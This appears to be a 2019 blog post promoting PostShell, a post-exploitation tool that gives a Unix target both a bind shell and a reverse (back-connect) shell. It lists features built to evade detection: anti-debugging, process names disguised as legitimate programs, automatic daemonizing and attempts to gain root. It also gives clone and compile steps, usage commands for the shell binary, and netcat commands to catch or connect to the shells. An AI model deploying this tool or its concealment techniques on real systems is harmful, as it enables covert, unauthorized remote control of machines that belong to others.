Post Exploitation

PostShell – Post Exploitation Bind/Backconnect Shell

September 16, 2019
2 Min Read
PostShell - Post Exploitation Bind/Backconnect Shell

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PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system.

Why not use a traditional Backconnect/Bind Shell?
PostShell allows for easier post-exploitation by making the attacker less dependant on dependencies such as Python and Perl. It also incorporates both a back connect and bind shell, meaning that if a target doesn’t allow outgoing connections an operator can simply start a bind shell and connect to the machine remotely. PostShell is also significantly less suspicious than a traditional shell due to the fact both the name of the processes and arguments are cloaked.

Features

  • Anti-Debugging, if ptrace is detected as being attached to the shell it will exit.
  • Process Name/Thread names are cloaked, a fake name overwrites all of the system arguments and file name to make it seem like a legitimate program.
  • TTY, a TTY is created which essentially allows for the same usage of the machine as if you were connected via SSH.
  • Bind/Backconnect shell, both a bind shell and back connect can be created.
  • Small Stub Size, a very small stub(<14kb) is usually generated.
  • Automatically Daemonizes
  • Tries to set GUID/UID to 0 (root)

Getting Started

  1. Downloading: git clone https://github.com/rek7/postshell
  2. Compiling: cd postshell && sh compile.sh This should create a binary called “stub” this is the malware.

Commands

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

Example Usage
Backconnect:

$ ./stub 127.0.0.1 13377

Bind Shell:

$ ./stub 13377

Recieving a Connection with Netcat
Recieving a backconnect:

$ nc -vlp port

Connecting to a bind Shell:

$ nc host port

TODO:

  • Add domain resolution


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